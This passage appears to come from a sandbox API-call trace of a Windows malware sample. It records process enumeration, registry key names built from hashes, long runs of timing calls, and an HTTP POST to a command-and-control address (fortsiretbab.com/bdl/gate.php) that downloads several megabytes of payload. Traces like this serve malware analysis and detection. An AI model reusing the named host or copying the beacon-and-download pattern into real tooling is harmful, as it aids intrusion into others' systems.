cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.772] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.772] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.773] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.773] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.773] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.774] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.774] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.775] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0059.775] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0059.775] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0059.782] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0059.783] Process32FirstW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.796] CryptAcquireContextW (in: phProv=0x70edb8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x70edb8*=0x5f6670) returned 1 [0059.810] CryptCreateHash (in: hProv=0x5f6670, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x70edb4 | out: phHash=0x70edb4) returned 1 [0059.810] CryptHashData (hHash=0x5e9a98, pbData=0x70f722, dwDataLen=0x102, dwFlags=0x0) returned 1 [0059.810] CryptGetHashParam (in: hHash=0x5e9a98, dwParam=0x2, pbData=0x70ee04, pdwDataLen=0x70edb0, dwFlags=0x0 | out: pbData=0x70ee04, pdwDataLen=0x70edb0) returned 1 [0059.810] CryptDestroyHash (hHash=0x5e9a98) returned 1 [0059.810] CryptReleaseContext (hProv=0x5f6670, dwFlags=0x0) returned 1 [0059.810] wvnsprintfA (in: pszDest=0x70ee42, cchDest=10, pszFmt="%x%x%x%x%x%x", arglist=0x70ede0 | out: pszDest="aaf4e053c") returned -1 [0059.811] wvnsprintfA (in: pszDest=0x70ee38, cchDest=10, pszFmt="%x%x%x%x%x%x%x", arglist=0x70ede0 | out: pszDest="1dc1e28ae") returned -1 [0059.811] wvnsprintfA (in: pszDest=0x70ecde, cchDest=260, pszFmt="Software\\Microsoft\\%s", arglist=0x70e99c | out: pszDest="Software\\Microsoft\\aaf4e053c") returned 28 [0059.811] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\aaf4e053c", ulOptions=0x0, samDesired=0xf003f, phkResult=0x70ecd8 | out: phkResult=0x70ecd8*=0x0) returned 0x2 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.811] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.812] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.813] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.814] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] GetTickCount () returned 0x16872 [0059.815] CryptAcquireContextW (in: phProv=0x70ea74, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x70ea74*=0x5f68b0) returned 1 [0059.815] CryptCreateHash (in: hProv=0x5f68b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x70ea70 | out: phHash=0x70ea70) returned 1 [0059.815] CryptHashData (hHash=0x5e9a98, pbData=0x5f7a60, dwDataLen=0x2ce, dwFlags=0x0) returned 1 [0059.816] CryptGetHashParam (in: hHash=0x5e9a98, dwParam=0x2, pbData=0x5f7a50, pdwDataLen=0x70ea6c, dwFlags=0x0 | out: pbData=0x5f7a50, pdwDataLen=0x70ea6c) returned 1 [0059.816] CryptDestroyHash (hHash=0x5e9a98) returned 1 [0059.816] CryptReleaseContext (hProv=0x5f68b0, dwFlags=0x0) returned 1 [0059.816] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x76ff0000 [0059.816] GetProcAddress (hModule=0x76ff0000, lpProcName="ObtainUserAgentString") returned 0x77021d76 [0059.816] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x70e7b8, cbSize=0x70e7b4 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", cbSize=0x70e7b4) returned 0x0 [0059.820] FreeLibrary (hLibModule=0x76ff0000) returned 1 [0059.820] InternetCrackUrlA (in: lpszUrl="http://fortsiretbab.com/bdl/gate.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x70eaa8 | out: lpUrlComponents=0x70eaa8) returned 1 [0059.852] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.853] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x2, lpBuffer=0x851df, dwBufferLength=0x4) returned 1 [0059.853] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x6, lpBuffer=0x851e7, dwBufferLength=0x4) returned 1 [0059.853] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x5, lpBuffer=0x851ef, dwBufferLength=0x4) returned 1 [0059.853] InternetConnectA (hInternet=0xcc0004, lpszServerName="fortsiretbab.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0059.853] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/bdl/gate.php", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x851f3*="*/*", dwFlags=0x8404c700, dwContext=0x0) returned 0xcc000c [0059.854] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders="Connection: close\r\n", dwHeadersLength=0x13, lpOptional=0x5f7a30*, dwOptionalLength=0x2fe | out: lpOptional=0x5f7a30*) returned 1 [0060.785] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x70eafc, lpdwBufferLength=0x70eaf8, lpdwIndex=0x0 | out: lpBuffer=0x70eafc*, lpdwBufferLength=0x70eaf8*=0x4, lpdwIndex=0x0) returned 1 [0060.786] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x637390, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x637390*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0064.067] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2c00020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x2c00020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0072.343] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2e60020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x2e60020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0077.080] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f0020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x33f0020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0080.944] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2ee0020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x2ee0020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0084.067] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3470020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3470020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0086.537] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3640020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3640020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0092.471] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3850020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3850020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0095.583] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3530020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3530020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0096.325] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x37c0020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x37c0020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0096.770] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3a90020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3a90020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0097.055] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x35f0020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x35f0020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0097.298] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3940020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3940020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0097.532] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3cd0020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3cd0020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0097.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36b0020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x36b0020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0097.794] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3ac0020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3ac0020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0097.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3f10020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3f10020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0098.090] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3770020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3770020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0098.245] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3c40020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3c40020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0098.394] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4150020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x4150020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0098.535] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3830020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3830020*, lpdwNumberOfBytesRead=0x70eb00*=0x40000) returned 1 [0098.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3dc0020, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x3dc0020*, lpdwNumberOfBytesRead=0x70eb00*=0x26353) returned 1 [0098.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4376373, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x70eb00 | out: lpBuffer=0x4376373*, lpdwNumberOfBytesRead=0x70eb00*=0x0) returned 1 [0098.868] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0098.871] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x70eb14, lpdwBufferLength=0x70eb10 | out: lpBuffer=0x70eb14, lpdwBufferLength=0x70eb10) returned 1 [0098.871] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0098.871] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0099.614] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3cc [0099.621] Process32FirstW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.621] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0099.622] GetCurrentProcessId () returned 0xa84 [0099.622] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0099.622] GetCurrentProcessId () returned 0xa84 [0099.622] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0099.623] GetCurrentProcessId () returned 0xa84 [0099.623] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0099.624] GetCurrentProcessId () returned 0xa84 [0099.624] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0099.624] GetCurrentProcessId () returned 0xa84 [0099.624] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0099.625] GetCurrentProcessId () returned 0xa84 [0099.625] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0099.625] GetCurrentProcessId () returned 0xa84 [0099.625] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, 